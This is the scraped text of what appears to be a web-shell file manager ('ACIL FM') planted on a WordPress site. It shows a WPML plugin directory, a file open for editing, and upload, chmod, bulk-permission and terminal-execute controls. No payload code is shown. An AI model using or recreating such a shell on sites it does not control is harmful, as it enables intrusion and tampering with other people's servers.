ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/roles
/
home
mhhtmff
www
site
wp-content
plugins
sitepress-multilingual-cms
classes
roles
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
DefaultCapabilities.php
1.57 MB
chmod
View
DL
Edit
Rename
Delete
Roles.php
602 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/roles/Roles.php
<?php namespace WPML; use WPML\LIB\WP\Hooks; use WPML\LIB\WP\User; use WPML\LIB\WP\Roles as WPRoles; use function WPML\FP\spreadArgs; class Roles implements \IWPML_Backend_Action, \IWPML_AJAX_Action { public function add_hooks() { Hooks::onAction( 'set_user_role', 10, 3 )->then( spreadArgs( [ self::class, 'remove_caps' ] ) ); } public static function remove_caps( $userId, $role, $oldRoles ) { if ( ! WPRoles::hasCap( 'manage_options', $role ) ) { $user = User::get( $userId ); wpml_collect( DefaultCapabilities::get() ) ->keys() ->map( [ $user, 'remove_cap' ] ); } } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply